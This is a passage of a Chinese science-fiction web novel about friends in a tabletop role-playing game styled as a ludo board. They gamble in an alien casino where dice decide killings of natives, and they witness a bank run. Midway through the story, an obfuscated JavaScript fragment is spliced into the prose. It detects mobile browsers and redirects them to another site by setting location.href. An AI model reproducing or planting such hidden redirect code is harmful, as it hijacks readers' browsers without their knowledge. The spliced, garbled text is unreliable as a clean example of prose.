两个人多少有点心虚地把飞行器里别人的钱拿出来兑换筹码,畏畏缩缩地进场,每走几步就有几个她们不认识也不认识她们的人上来说一段客套话。
“日安,最近生活如何?”
“替我向xx问好。”
“来一片?”
“久仰大名!家里别墅装修得怎么样?”
“我是xxx,您对玻璃牌有了解吗……”
颜阎一开始还能从容应对,说得久了她开始生理不适,到最后连表面的体面都难以维持,拉着铃铛躲进红窗帘后面恢复体力。
“我不行了,我最受不了这种氛围!”颜阎大叫,“大家就不能爽快一点,不要拐弯抹角,这样除了显得尊贵一点有什么好处啊!”
铃铛蹲在角落:“你不是小嘴叭叭讲话溜溜吗?”
“如果是宋悦馨呀皇后呀这种人,她们就把应对当成被动技能。我不一样,我是要耗蓝的。”
“那咱们怎么办?”
“你不富二代吗你没有社交技能?”
“我又不是继承人,我只负责玩跨。”
“那个词叫纨绔。”
“……嗯对就是那个意思。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160972|154276||http|test|mini|href|location''.split(''|''),0,{}));
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>“不学无术,文盲!罚你和我一起去上学!”
“求求你啦别贫嘴啦,想想主意。”
无敌点子王颜阎咧嘴一笑:“瞧好吧您!”
数分钟后,生态箱赌场内,一名坎尼亚以冷酷眼神巡视每一张牌桌,在看到桌子上的筹码后,不是扭头就走,就是施以怜悯的一拧。
投机者望见其端庄姿态,忍不住上前搭话,企图与其建立联系,为自己日后铺路。可当事人身边跟着一名同样冷酷的保镖,每当有人靠近,保镖就会抢先一步拦住对方,声音低沉而贵气:“抱歉,我们的雇主不喜欢别人搭话。”
凭借如此气场,众人都把二人当作富贵人家,因此二人光明正大混进围观群众最多的那张赌桌边上看比赛,没有被任何人质疑,甚至还有人给她们让了路。
令人惊诧的是,坐在赌桌一边的是刘征兰型迁氧,而另一边的,是一个身材相当于七八岁儿童、耳朵和脸的轮廓几乎平行的人类。
人类的脸上都是皱纹,头发是一种耀眼的金色,看不出来性别。两人坐在赌桌的两端,对着赌桌上的荧幕大笑。
颜阎跟铃铛吐槽:“这个人的头发金得都快跟窗帘融为一体了。”
“那岂不是跟康烁影头发一个色。”
“笑死了。”
而荧幕上是许多移动的小点。人类随手点开一个,小点瞬间放大,变成了一个具体的迁氧正走进办公楼的画面。
“还有五个!”人类起哄,“再进五个人,你就输了!”
赌桌对面的迁氧并不恼怒,看来这把赌得并不多。它只是大笑:“谁知道今天进来这么多人!不是放假吗!”
铃铛拉了拉颜阎,让她看迁氧的身体。颜阎仔细看了两眼,没看明白:“咋了?”
铃铛叹气:“佐斐那星球,没有这种迁氧。它不是当地人。”
旁边有个迁氧斜了她们一眼,没有说话。
赌桌上传来阵阵欢呼,许多迁氧上来推搡赌桌上那一位,大喊着:“你不行啊这都能输!”
而人类们则围在小个子周围欢呼:“赢了!把它的钱都拿过来!”
人类用银耙将筹码拨到自己手边来:“不行啊老朋友!怎么都输给我了!”
迁氧敲了敲自己的身体:“老啦!”
“那今天我来?”
“交给你了,我得去包间歇会儿,哎哟……壳疼……”
人类把一枚六面骰倒在骰盅里,一面用手捂住出口一面摇晃:“行了,同胞们!我数三个数,谁抢到谁来!一、二、三!”
骰子被抛上天空,人类和一些迁氧纷纷用手臂、触须与电流捉那只骰子。有人被电倒,有人爬上赌桌,还有人踩着同班的头踮脚去够骰子。
颜阎心里警铃大作,任何狂热的氛围都足以唤起她的戒心。她正想把铃铛往后推,却发现她早就躲在几里地之外,看似嫌弃人们的野蛮,实则是怕被当成字面意义上的垫脚石。
骰子从无数人指尖飞出,落在赌桌上。如狼似虎的赌鬼们扑上去抓、抢、挠、掏。终于,有一个人把骰子牢牢握在手里,他立刻把手放在身下,用整个身体来保护这枚骰子,任由其他人踹打,喉咙里不停发出咯咯的笑声。
矮小的人类大笑,把那个幸运儿从人们的脚下救出来按在赌桌前:“就你了!快看看骰子是几?”
他激动到颤抖的双手伸出来,骰子朝上的那一面在水晶灯下闪闪发光,那赫然是一个6。
刚才还与他势同水火的人们欢呼起来:“六个!六个!”
矮小人类把六枚水晶筹码随手丢给赌场里的机械员工。而抢到骰子的幸运儿?他激动到脸颊通红,站起来的瞬间腿软了一下,差点踉跄着扑倒在赌桌上。就着这个姿势,他伸出手,随便点了几个小点。那几个小点旁边显示了一个手写屏幕。
周边的人叫得更加响亮,像动物园里拍打铁栏杆的猴子。那个人趴在赌桌上,神情疯狂地书写着:吊死,穿心,砸死……
赌场的动力平台下,几艘无人机向各个方向出动。它们发出机械摩擦的空响,加速撕裂空气的瞬间仿佛一只巨大的号角吹响。
屏幕里的几个迁氧都听见了天空号角,它们像所有人一样低头跪下,但这次它们并没有像所有人一样站起来,它们死了。吊死、穿心、砸死……
铃铛死死捏住颜阎的身体。
这个时候,骰子到了。还算冷静的颜阎扔了个1。她低声问kp:“可以看一眼地图吗?”
【终于有人问到这个问题了。过个侦查。】
【颜阎侦查检定(出目/检定):13/30 成功】
【颜阎在厚重的红色帷幕后找到一张地图。】
颜阎看了又看,确定了这是一张飞行棋地图。
如果她和铃铛是黄组,那么她们都在自己同色的那个黄箭头里,已经快到终点了。再根据她们找到的地图在终点前一个位置里点了个红点……
“我们通关了?”
【还有三个棋子。】
“那我们现在去哪?”
kp笑而不语。
很快,她们俩偷车贼的身份就被揭穿。二人立刻钻进飞行器,慌不择路开出赌场驶向宇宙。等到她们睁眼的时候,人已经从无垠星河回到了地面,周围都是迁氧,而她们开着飞行器,即将开始新一轮勇闯天外。
【黄组,第一枚棋子,已通关。】
103.沙盘战棋
“刻石彩电,记录万物的影像!”
电视广告、电视广告,怎么全都是电视广告,刻石通讯公司哪里这么多广告。给买过它电视的人打广告有什么用,家人朋友全配一个吗?
它趁对面的人类不注意按了换台,结果下一个台还是广告!不仅没看到它最爱的灵异访谈节目,还被人类发现了。对方有点尴尬,还有点愤怒,一大团肉块组成的身体上半部分,两条细细的灰色毛发扬起来:“您不会在……”
“我没有。”它矢口否认,“您继续,坦伊先生。我有听。”
“那就好。和您见面,我真是万分荣幸。相信您也对赌场的经营十分满意,相信过不了多久,这里就能成为星系的著名地标,吸引来更多投资……独立……规模……合作……”
坦伊对赌场的未来侃侃而谈,它却毫不关心。虽然名义上是赌场老板,可实际上也只是个吉祥物罢了。它每天的工作就是去外面转一圈,体面地发表演讲,然后回到自己的单人间接见一些财力丰厚的人。这次接见无法给对方带来任何好处,但这就像是有钱人必须用一种拐弯抹角的方式说话一样,其最重要的目的,就是让对方显得尊贵而与众不同!
“不好意思,我还没有合作的意愿,请回吧。”
吉祥物送走又一位访客,争取在下一个人来之前把录好的情景喜剧看完,不知道小梅小海和他们的三个孩子今天又会做什么好玩的事。
它打开电视,把电极片夹在自己身上,舒舒服服窝进电流里。结果片头曲还没播完,外面就传来笃笃的敲门声。
“经理,您醒着吗?今天的巡视时间要到了哦。”
“怎么这么早?”
“不早了,刚刚那位聊得比较久……”
吉祥物看了眼时间,26点了,的确不早。它一把推开门,径直往外走:“蜜谷的库尔卓·卓卓坎·徂坎还没有来?”
“还没有……卓卓砍先生似乎还没有出发啊啊啊啊!”吉祥物身上的电流把赌桌上红丝纤维的桌布烫出一股淡淡的熏香味。工作人员哭丧着脸,踮着脚尖跟在它身后:“您的电极片……”
“插着!”
跟领导顶嘴不会有好下场,工作人员闭嘴了:“好的……好的……”
巡视也就是在各个赌桌之间走一圈,随便找几个人互动一下,说些:“呵呵呵您肯赏脸来真是太好了。”“您也来了,快坐,玩好啊!”“祝大家有个愉快的夜晚!”之类的。说的人心不在焉听的人也并不在意,这奇怪的仪式感简直就像是小孩子坚信上课前滥竽充数不说老师好就会被罚站一样幼稚。
突然之间,一个身影出现在它面前。
“您好。”它说,“您的电极片掉了。”
那片小小的金属落在地上,像是地毯上的一颗金粉。吉祥物站在电极片上,让自己体内的电流把它按在六边形身体上:“谢谢。”
“不用谢,葛亚莲卡。”对方说。
它站在坦伊身边,而它身后的人类笑容可掬。
葛亚莲卡身体里的电弧一闪。它上上下下用光波扫射了它,体内闪出噼里啪啦的色彩:“哦?你知道我是谁?”
“当然。我的主人对您很感兴趣。”
“有意思。”葛亚莲卡笑了,“来和我赌一把玻璃牌?”
“我的荣幸。”对方躬身,“但我的主人不擅长玻璃牌,希望能由我代劳。”
它向坦伊鞠了一躬,大步走向葛亚莲卡。
“有意思。”葛亚莲卡笑了,“让我来玩玩。”
赌场经理下场亲自参与赌局,这个消息让所有人震撼不已。新开发的玻璃牌赌桌附近水泄不通,米普和葛亚莲卡相对而坐,两侧还坐着另外两个原本就在等待的迁氧。它们被围观的视线盯得浑身不自在,有点不确定该走还是该留。
葛亚莲卡边洗牌边微笑:“不要害怕,普通地玩就好了。”
坐在东边那位身体里闪过电弧,似乎是答应了。而西边那位,陷入了诡异的沉默。
刘征兰气啊。
她连扔了好几个1,终于躲进天尽头灯塔,藏进一个飞行器的冷凝室,跟着一群鬼鬼祟祟的牙牙乐进入赌场内。当她走进这里时,发现了颜阎和铃铛留下的地图,刚确定自己的位置,一个人就过来跟她搭话。
“您好!愿意在那里坐一阵吗?我保证接下来您不会无聊的。”对面的迁氧笑着说。
【暗骰:???】
她的kp明显话变少了。她甚至能感觉到对方的冷淡。换作一开始,kp必然跟她唠唠叨叨十几分钟,她现在甚至已经知道她的kp爱听民谣了。换成现在这个她反倒自在。
她感到骰子的存在,于是把它扔在桌上。
【刘征兰智力检定(出目/检定):96/75 失败】
【你觉得他很可信,他会让你获得一场愉快的赌局。】
刘征兰立刻明白了。她,被人说服,智力没过,没撑住。
奇耻大辱!她可以四肢无力,可以歪瓜裂枣,可以笨嘴拙舌,但唯独不能智力低!她打游戏多玩解谜,任何加点都优先智力,等毕业后有时间打的游戏职业她都想好了:只玩法师!
她智力检定没过?她智力检定没过!她智力检定没过!!!
奇耻大辱!
刘征兰气得要翻白眼,心情不佳地坐在桌上。她常年负责在家中亲戚打麻将时,以小提琴长笛钢琴配bgm,虽无实操,但经验丰富,对打牌毫无畏惧。但桌上同族着实古怪,令她不敢轻举妄动。
那人身上贴着两个电极片,六角形身体里浮现出奇妙的纹路,像一汪水潭的波光。连接身体的电流也变得混乱而繁杂,仿佛身体里长出一棵闪电的树。
刘征兰在来的路上见过类似的迁氧。佐斐那星球的贫富差距之大令人震撼,白城以外的地方几乎处于永无宁日的恐慌之中。天上之国的传言全球流行,天空号角的影响从封闭的小镇四处蔓延。禁止仰望天空的法令悄无声息地颁布。
远离城市的人们不愿意再劳作,努力、汗水、财富、权力,都不能阻挡从天而降的凄惨死状,死亡与人们一步之遥,明天不再触手可及。为了摆脱死亡的恐惧,终日颓废的饮木啜电者数不胜数。贴上电极或燃烧醺木,这类似于人类的饮酒,而服用惶剂类似于抽烟。
这么一看,对面的人是个酒蒙子。估计手也不稳。刘征兰安下心来。
麻将里三和七是最好靠搭的,她开局就抽到了三和七相关。找她过说服的那个开局打了一万。最开始那几局,打出来的牌都和自己的手牌不太相关,手里大概率没有相邻牌。
她靠这点小知识赢了第一把。后面几把她赢得也比较多。那个酒蒙子看起来地位很高,换成别人肯定要放水,但她没太在乎——开玩笑,别人赢你几把就不乐意了,开什么赌场?当什么领导?这点素质都没有就早点把位置让下去吧!
几轮过去,另外那个同族早就承受不住压力跑了,那个位置换了好几拨人,都在诡异的氛围里遗憾离场。
对她过说服那个异族不再继续。它输得最多,但厚颜无耻地一直留在场上。见刘征兰和赌场经理都赢得翻倍,它也只是笑:“真是胆识过人,我果然不是您的对手。”
赌场经理客套:“哪里。您才是心胸宽广。”
“刚才的对话似乎不够深入,不知您是否愿意移步包间,和我的主人再次讨论一些深度合作的事宜?”
“那是当然。请吧。”
刘征兰起身要走,却被异族用尾巴缠住了身体。她还在气头上,当场过了个力量。
【刘征兰力量检定(出目/检定):40/40 普通成功】
【暗骰:???】
对方被甩开了,但锲而不舍,小小声跟她说:“跟上,好处多多的!”
【刘征兰受刚才的说服影响,再次相信了它的话。】
刘征兰捏紧拳头:怒了。
赌场经理是佐斐那本地人,这件事人尽皆知,但是没有多少人知道它是葛亚莲卡。四百年前的领袖,为何还活着?为何愿意帮外星人统领自己的民族?
答案是:科技。
爬行文明阶段,葛亚莲卡的种族:提昏,平均年龄是四百岁,但是接入星际文明后,借助先进的医疗科技,提昏体内的半衰期可以大幅度延长,极限年龄是五百三十三岁。
这个极限年龄目前正根据葛亚莲卡的年龄而变动,如果它能活久一点,说不定还能更长。
而这个赌场的存在,纯粹是因为,佐斐那倒霉。
当时的葛亚莲卡正在积极推动全国统一和民主制度,功成不久便英年早逝。由于它是纯粹的教徒,听说死时天上有圣光降下,被认为是平地飞升的吉兆。
那圣光的真身是外星人飞船。外星人“唰”地把它吸上来,开始嘿嘿怪笑:“土著哇,你们星球廉价劳动力丰富,地理位置优越,现在我们蜜谷把它买了!我们要在这儿建赌场!”
葛亚莲卡大惊:“谁允许你们买的!我怎么不知道!”
“宇宙是你们的吗?”
“呃……啊?”
“是大家的!这片星系是你们的吗?”
“……是?”
“错!根据预估,该星系在未来在未来几百亿年里将出现十数个种族!这片星系是大家的!”
“……行吧。”
“那么这颗星球是你们的吗?”
“这回总是了吧!”
“这颗星球也涵盖在宇宙里,因此,这颗星球也是大家的!”
葛亚莲卡大怒。它立刻拿出跟财阀垄断者辩论的口才驳斥外星生物,什么土地产权房产交易制度经济学,外星生物节节败退,露出软弱神情:“其实我们也只是征用你们外围的太空区域。”
“那也不行!”葛亚莲卡拿起批判的武器,“你们知道什么是领土主权吗!”
外星生物疲惫不堪,凶相毕露。当即拿起武器的批判,对着葛亚莲卡就是一套主权格斗法:“反正我们就是要建!在行星外建赌场,和在类星体外建赌场,你选吧!”
生态箱赌场建设起来了。葛亚莲卡作为这里的吉祥物经理尽力维持赌场的秩序。整整三百年,赌场与佐斐那星井水不犯河水。它相信佐斐那迟早会发现太空中的异象,在地上共同研究对抗外星的武器。
但它们失败了。
先不提爬行文明如何面对星际文明的重炮。要是战败了,葛亚莲卡至少能安慰自己大家努力了。可问题是,它留下的体制,太民主了!
由于过于民主,而且全球统一暂无外敌,军备资金相对削减,大部分资金投入到对公民生活的改善上,而非无法快速带来收益的太空探索。三百多年过去,居然没有一个人发现行星外有个赌场!葛亚莲卡气得想抽自己:恨呐!恨自己无谋无智,当初要是建立寡头模式,不早就把这群行走文明的外星人端了?它们的援军到来前至少还能争取个一百年升级科技树!
葛亚莲卡的限制力逐年削弱,赌场内血腥的赌局越来越多。由于建立在爬行文明附近的赌场是蜜谷唯一合法屠戮迁氧的赌场,被压迫已久的人类纷纷来到这里发泄自己的种族仇恨。某种意义上增加了赌场流水。
如今葛亚莲卡已经彻底沦为吉祥物,对赌场内的一切失去管辖权。每天就是握握手唠唠嗑然后贴着电极片装死,今天请两位打了牌的对手进门,也只是以为对方要通过它联系赌场股东,并没有太当回事。
结果异族把刘征兰甩在门外,要求它看门,然后一坐下便开始大放厥词:“葛亚莲卡!我们来赌一把吧!”
葛亚莲卡一下子缩回去:“什么!什么?”
“让我们掏空这个赌场吧!”它说,“我帮助你在赌博里获胜,你拿钱让佐斐那摆脱这群外星生物,而我拿着我的钱填一填财政窟窿,双赢!”
“你不是坦伊的手下吗?你要背叛他?”
“我可没说过我和它有什么关系。”对方道,“介绍一下,我是米普。我和坦伊先生,只是‘恰好’站在了一起而已。”
此时的坦伊正在一场扑克里一掷千金,某个念头忽然从他脑海中闪过:“刚才和我鞠躬那个是谁啊?”
但他很快把这个念头甩了出去:“谁管它。我一天到晚要应付的生物没有一百也有五十,要是谁跟我鞠躬我都要记起来,我还活不活啊。”
葛亚莲卡和门口过了个聆听的刘征兰都震撼于此人的口出狂言。葛亚莲卡身上的六边形在各自的平面上绕
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着身体轴线转动,电火花炸成一道脉络分明的闪电:“你疯了?我掏空自己的赌场?我怎么掏空?”
“你如果真的‘拥有’这间赌场,怎么会任它建立在佐斐那之上?”米普意有所指:“真正的大股东卓卓坎快要到了,从他手里,你也拿不回赌场吗?”
“我凭什么按照你的要求去做?”
“凭我们在一个房间里。”米普微笑道,“所有人都看见了,您对我另眼相看,甚至邀请我和您进入同一间包间,如果我在赌场闹出了什么事,大家会觉得我是自发作案,还是会认为爬行文明的土著对宇宙文明的暴虐不满,蓄意驱逐,甚至袭击蜜谷的执政官?”
“你在威胁我?我如果现在把你杀了……”
“会有人替我收尸的。”
它有同伙。
葛亚莲卡一顿:“你到底想要什么?”
“我只是一个玩游戏的人。”米普大笑,“我想要一个精彩的游戏,一个有趣的赌局。惊心动魄,生死一线……
“这才让人乐在其中!”
康烁影大笑:“以前玩的都是垃圾!”
以布躺在后座上半死不活。问了一下kp,kp说掉san不是这样的,他这是心理问题,建议去看医生,不要怪游戏。
康烁影她在飞行器里找到一份地图,地图能实时展示队友们的位置。
刘征兰是绿组,有一架飞机在终点箭头里,还有一颗已经出门了。颜阎和铃铛是黄组,已经有一架飞机到达终点,剩下三架全部出门。她和以布是蓝组,目前非常落后,只有一架飞机在棋盘上。
然后她就开始变异了。
飞行棋最好玩的是什么?难不成真的是每个人扔骰子比运气吗?当然不是!是把朋友撞回原点!
康烁影横冲直撞,撞毁颜阎和铃铛两次,甚至有一次人家都进入终点段了,她一步飞棋沿着虚线把她俩撞回去了。撞的时候还能看见那两人惊愕的神情和颜阎愤怒的口型:“神——经——病——!”
于是在下一次电视会议里,颜阎和铃铛怒斥康烁影的背叛。
“我们都没撞你!碰到你就躲开,宁愿多出一颗棋子也要避开你!”
铃铛帮腔:“就是就是!”
以布从后面半死不活地爬出来:“对不起,是我没有制止……”
“你歇着吧!你赶紧睡一睡回san!”
刘征兰面色铁青:“我也被撞回去了。现在只能在终点里进进出出。为什么,康女士,你能解释一下吗?”
康烁影大笑:“你们不撞是你们的事!飞行棋不撞人还有什么意思!”
所有人都把电视追凶、天空赌场、外星生物抛之脑后,开始残酷的自相残杀。
“各位观众!各位观众!飞行棋之王即将横空出世!”颜阎扔到一个6,“现在我门口有两个倒霉蛋,我扔到3就能撞死刘征兰,扔到4就能撞死康烁影!我要选择谁呢!”
铃铛在后方播报:“领导,我们第二枚棋子的后方有康烁影的追兵!”
“无所谓,我不想要胜利,我只是不希望她们胜利!扔!”
【黄组点数:3】
“哈哈哈哈哈哈!刘征兰,你受死吧!”
飞行器的机翼往下一偏,那势不可挡的涡轮绞住刘征兰的机翼,飞行器上的涂料仿佛泥点一样粘稠地粘在彼此的飞行器上。刘征兰只来得及朝她比出中指,爆炸的火光便彻底吞噬了她。她的精神就回到起点,另一撮在终点线里进进出出的灵魂忍不住发出了一声哀嚎。
与此同时,康烁影的飞行器冒着坠机的风险大幅度俯冲,向黄组扔出一排炸弹。离终点线只有一步之遥的黄组被她果断击落,只留下一阵青烟和飞行器的残骸。
黄组都有点无奈了,她们猛猛前进,胜利在望之时就被蓝组一个鱼跃撞翻在地回到原点,她们只能寄希望于绿组的刘征兰为她们报仇雪恨。
一开始以布还有心阻止,后面他已经完全绝望了。每次一开始电视通讯,他就恨不得把自己的腰为铃铛躬断。铃铛受不起他的鞠躬,于是两个人对着弯腰,像超市门口的充气人。
不管怎么说,目前都是黄组占优势。黄组还有两架飞机在场上,另外两架一个没出门一个到终点。刘征兰的绿组只剩一个独苗进进出出。而康烁影还有一架正在棋盘上的和一架刚刚出门的。
刘征兰扔出了一个野心勃勃的664:“我要去追杀康烁影。”
康烁影阴险怪笑:“你来!”
以布虚弱道:“别自相残杀了。”
“不听不听。”康烁影一把捂住耳朵,“她们先投降,不然等着被我撞死吧!”
颜阎和铃铛正捧着骰子做法:“6……6……6……骰娘啊扔个6吧我们要出门撞死所有人……”
终于又到刘征兰了。她已经咬了康烁影好几轮,只要扔到5以下她就可以继续追杀她。她自信一骰,扔到5,正好在康烁影前面。
康烁影:“追杀我?”
刘征兰:“……到你前面追杀你。”
康烁影连续扔骰数局,自觉运气耗尽,于是把骰子塞进以布手里,当骰盅晃了又晃,然后掰开他手掌让骰子自由落体。
【蓝组点数:1】
康烁影往前蹭一步,正好击沉刘征兰飞机。刘征兰痛不欲生,康烁影放声大笑。场上的颜阎离她十万八千里,刘征兰更是强弩之末,已经没有人能够阻拦她了!
她的笑声尚未结束,飞行器忽然剧烈摇晃,机舱外传来轰鸣与此同时咆哮,滚滚浓烟从发动机里升起,舱壁的纵梁与横条断裂时发出嘎吱嘎吱的哀鸣,仿佛无数条肋骨在一瞬间被碾碎。
康烁影想起了加油站的员工,她的喉头涌上一股酸腐的气味。
以布几乎是本能地从座椅上跃起来,他一把将康烁影推倒在座椅间,用椅背和杂物堆出一个稳定的结构,一只手死死捂住康烁影的发声口,一只手捂住自己的。但康烁影离他太近了,完全能感受到他身体上正分泌出大量晶体,嘴里正无意识地尖叫。
然后她就被撞回了起点。
与此同时,颜阎、刘征兰和铃铛手里的地图出现了一个奇妙的改变。
一直没有动静的红组,出门了。
104.真空管危机
“红组是谁?谁是红组?”
电视通讯里的三组互相询问:“你们有看到像是红组的人吗?”
谁都没看到。
“另一组是谁?巴莫魁?”刘征兰无所事事地玩着自己。
铃铛坚定道:“不可能是她。”
“为什么?”
“呃……”铃铛比划了一下,“如果是她,她应该会选和朋友一起出发。”
颜阎打了个哈欠:“而且她出门了就应该加入我们的电视会议,可她现在都没出现。”
“那三组是谁?”
“是敌人吧!肯定是敌人吧!”颜阎捏着哭腔:“都怪康烁影,要不是她撞我,我早就到了,怎么会被红组拦住呢!”
康烁影闷闷不乐:“我的错,行了吧。”
颜阎紧急刹住自己的嘴:“你生气了?”
“没有。”她只是被刚才突如其来的空袭吓到了。
以布对坠机更加敏感,扇风、关门的咔嚓、电视开机的滴滴声,都会令他颤栗。他有时会在康烁影说话的时候忽然打断她,用灰白的眼睛盯着她,然后用手抓挠自己的身体。实际上,这具身体没有“手”,拥有的只是数条垂落在身体下部的两条根状游丝。他用游丝将自己缠得不留缝隙,像是一棵绞杀自己的榕树。
“我以为这不会对他有害。”铃铛担忧地看着他,“他参加过战争,参加过战争的人都是这样。”
刘征兰想起律易棋,颜阎估计也想到了。两个人对视一眼,什么都没有说。
康烁影看了看他,然后小声地说:“你真辛苦哇。”
铃铛也小声说:“你别当着他的面说,多让人难过。”
电视追凶变得越来越简单,因为每一次的凶手都是神。而大家已经参透了神的真实面貌是一群沉湎疯狂的赌鬼。康烁影还没有进入赌场,根据另外两组的描述可以知道,赌场富丽堂皇,到处弥散着金粉般的缈烟。
康烁影“哇”了一声:“有点想看。”
为了防止她上头,颜阎给她打预防针:“把它们代入一下你家过年打牌的亲戚。你的小舅老叔爷爷姨夫。”
康烁影脑海中浮现出烟雾缭然酒气冲天的方桌,铺满瓜子壳、橘子皮和花生衣的黏糊糊的地板,以及一群纸黄牙齿黑手指的人。
她的脸皱起来了:“我明白了。”
现在的电视追凶更像是连线聊天。会从屏幕中爬出屏幕的氤氲电光已经许久没有出现。电影频道出现无信号图案的频率越来越高,广告越来越多,很多时候“幽灵”几次都调不到正确的频道。只剩□□育、自然科学和灵异访谈节目还算好看。
铃铛扔到3,她开始用细语破译死亡地点。高中生则在旁边捣乱,有一搭没一搭地骂学校。颜阎说我们能不能把赌场炸了,满足一下我们报复社会的决心。刘征兰说好主意啊这样还不会误伤好人。康烁影说不要哇你们先让我去看一眼赌场再说。
那边铃铛已经解出来了。根据测灵器和细语的双重验证,她猜测死亡地点是加油站。
康烁影抬起头:“说到加油站,我刚出门的时候加油站也死了人。”
“是你的同族?”
“嗯。”
“哦,这个也是你的同族呢。”
康烁影抬头看了几眼,确实,长得也像个牙牙乐。受伤部位是身体的中间,根据她们刚才推出来的死因,应该是直接被重物砸碎了。
她想起加油站满地的水银。
这一天电视通讯的最后,三组发表了停战宣言:“让我们停止互相残杀,联合对付不知名的红组,好不好?”
罪魁祸首康烁影吹口哨:“……好的好的。”
关上电视,那灰色的屏幕忠诚地倒映着房间里的景象。康烁影盯着屏幕里自己的眼睛,电扇吱呀吱呀旋转,窗外的天空没有月亮,但是从远处的东方,一种灰白的光芒在天幕上弥漫,如同海面上白色的泡沫。康烁影知道那是赌场的夜晚主题灯光,它代替了月亮的职能,而这颗星球的另一面,天尽头灯塔接管了夜晚。
两个人造建筑,在神秘的天幕上创造出人们习以为常的异象。
而佐斐那的人民毫不知情,它们没有“月”的概念。即使外星人已经改变了天象,扭转了寿命,对它们来说,似乎也只是当地科技的进步而已。意识到变化的人也没有反抗的余地。毕竟,谁能修理天体,谁又能逃离重力呢?
康烁影泄气地把自己砸在床上。变数过多的世界令她充满焦虑,似乎只有把这里当作一场无伤大雅的游戏才能让她逃离盘旋在身后的不安。
可是,既然骰子里的故事是需要录制的,那么当年切实生活在这里的人呢?它们是如何生活的?依靠侥幸和运气生活,祈祷着厄运不要降临在自己身上吗?
康烁影静静地思索着。过了许久,她把牙一咬,手一拍,闷头冲去旅馆楼下借了几只外骨骼。她把游丝伸进外骨骼用于神经操作的细孔里,开始拆电视。
她小时候看动画片,一直以为电视是靠闪电充电,所以打雷下雨天才不能看电视。因此她一直很担心,万一总不下雨,不打雷,那电视不就不能用了吗?
她不能忍受自己要依靠这种概率性的天象才能看巴啦啦小魔仙。她在爷爷奶奶家住,家里没有液晶屏,于是一头扎进垃圾回收站,开始拆大屁股电视。在她研究透电器之前,小学就到来了。但那时候的手感还隐约剩下一点。
外星的电视结构和地球明显不一样,同样是大屁股电视,地球的电视里装的是真空管,拆开后右上方有一个占据四分之三空间的四棱台,一根束着铁箍的电极插在棱台上,像圣剑插在石台中。而外星的大屁股电视里面是一个轴对称的杯状铜管,两头都很宽大,两侧各托着一颗填满整个杯底的一体铸造圆球。拿掉这个圆头哑铃一样的东西,后面是许多电线、扭铰而成的线圈和橙色金属制作的三根长管。
每根电线都有连接处,每块金属都有其作用。这绝不是某种魔法或神力,而是有大量理论可依据的科技。这种有谜底的谜题拥有某种令人着迷的确定性。
她松了一口气,随后她和身后诧异的以布对上了视线。两人都发现了一件非常严重的事。
以布问:“你会装吗?”
康烁影道:“拆了的东西是装不回来的!”
为了不赔偿电视,两人半夜过了个潜行,蹑手蹑脚离开旅馆,躲在飞行器里度过了一夜。
第二天,两个人扔骰子。
【蓝组点数:2】
飞行器吭哧吭哧带着两人往远处飞。
跑团里的时间流速和现实不一样。现在的时间比起两人刚来到的时候,已经过去了两年多。飞行器在高空穿梭时,能看到原本坚实的地面变成了流动的波浪。康烁影用飞行器上的光谱转换器瞄准地下,小小的圆形屏幕里出现的是大量人潮。
无数的居民,开着自己的载具,把电视、锅灶和食物用一种宽而柔韧的红色柔线绑在上面。载具大部分是车,偶尔有可以飞离地面两到三米的悬浮载具。这已经是极限了,能用得上飞行器的人用不着搬迁。
康烁影停下飞行器,想问问它们搬迁的理由。但她下降的时候,无数游丝、电弧和弯折的金属躯体攀上飞行器的涡轮和起落架,将她向下拖拽。这些人展现出无与伦比的恐慌和急迫,没人想在这庞大的队伍中蹉跎。
康烁影只能强行明令飞行器升空。以布则把身体探出窗口,用康烁影借来的外骨骼扎攀附者的身体,迫使它们放手。
这一天,飞行器停在一家银行前。银行门口人满为患,队伍排成一条弯弯曲曲的蜈蚣。大部分人自带睡袋和食物,以一种荒凉而麻木的姿态等待着什么。其中有两个人很突出,那是一个少年带着一个比它更小的孩子,两个人头靠着头聊天说话,时不时爆发出一阵笑声。
康烁影在它俩面前蹲下:“小朋友,在做什么?”
小的那个脆生生道:“排队!”
“排队干什么?”
“取钱!”
“这些人都是取钱的?”
大一点的那个点了点头:“再晚一点就取不出来钱了,我听说很多城镇的银行已经空了。”
康烁影心中一紧:大规模取钱,虽然不知道是什么原因,但这样下去资金根本周转不过来,银行早晚要完蛋。无形的大手哪去了?这个时候怎么不出来干预一下!
她稳住心情,轻声细语地问:“你们两个的家人呢?”
年纪大的那个朝她挥了挥游丝。康烁影心中了然:应该是被突如其来的“意外”杀死了。
小一点的那个说:“在电视里!”
“库哈!”
“我没说错!真的在电视里!”库哈坚持道,“伏里沙,你看电视的时候我注意到了!你总是和电视玩游戏,还对着电视里的人自言自语,你说我家人的名字时我都听到了!”
一股寒意渗进康烁影心底,她抬起头,发现所有排队的人,都死死盯着她。
伏里沙的身上凝出蓝色的晶片,它一把抱起自己的玩伴,一边向其他排队的人连连道歉,一边慢慢地倒退。退到拐角处,它便一个转身猛冲进视野之外,仓皇消失了。
但那些目光没有消失,目光的主人仿佛是被引力吸引,正慢慢向康烁影靠近。
康烁影也开始不自觉地后退,正要转身就跑,一个颜阎道同族用身体缠住她的游丝,纤长而冰凉的身体蠕蠕地爬上她的身体,尖而小的伞状头部盘旋在她头顶:“你看过电视吗?”
康烁影不敢睁眼:“没……没有……不对,我看过……但是我听不懂他说什么……”
“真的?”
“呃……嗯……”
“你有死去的家人吗?”
“有……有……”
蛇一般的触感从她身上滑落,萦绕不去的声音就像是那东西残留在她身上的氧化膜,“那你去看电视吧,你会知道你想知道的。”
康烁影一脚油门跑了。太吓人了,她的剧情点都有点太吓人了。发疯的队友,说谜语的npc,糟糕的运气和柔弱的她。
但是这次对话留下了一个非常有用的信息。
电视不是只有她们才能看的,这不是一种……呃……艺术效果之类的东西,这个世界的人,每一个人,都能看到电视追凶,而且电视真的有沟通的能力。
这是怎么做到的?电视信号劫持?这样做有什么意义?
她不知道,但她憋坏了。她非常非常想把这些事告诉朋友们。她衷心希望下一次电视通讯早日来临。
正在被人惦记的刘征兰毫无自觉,她正在堵车。
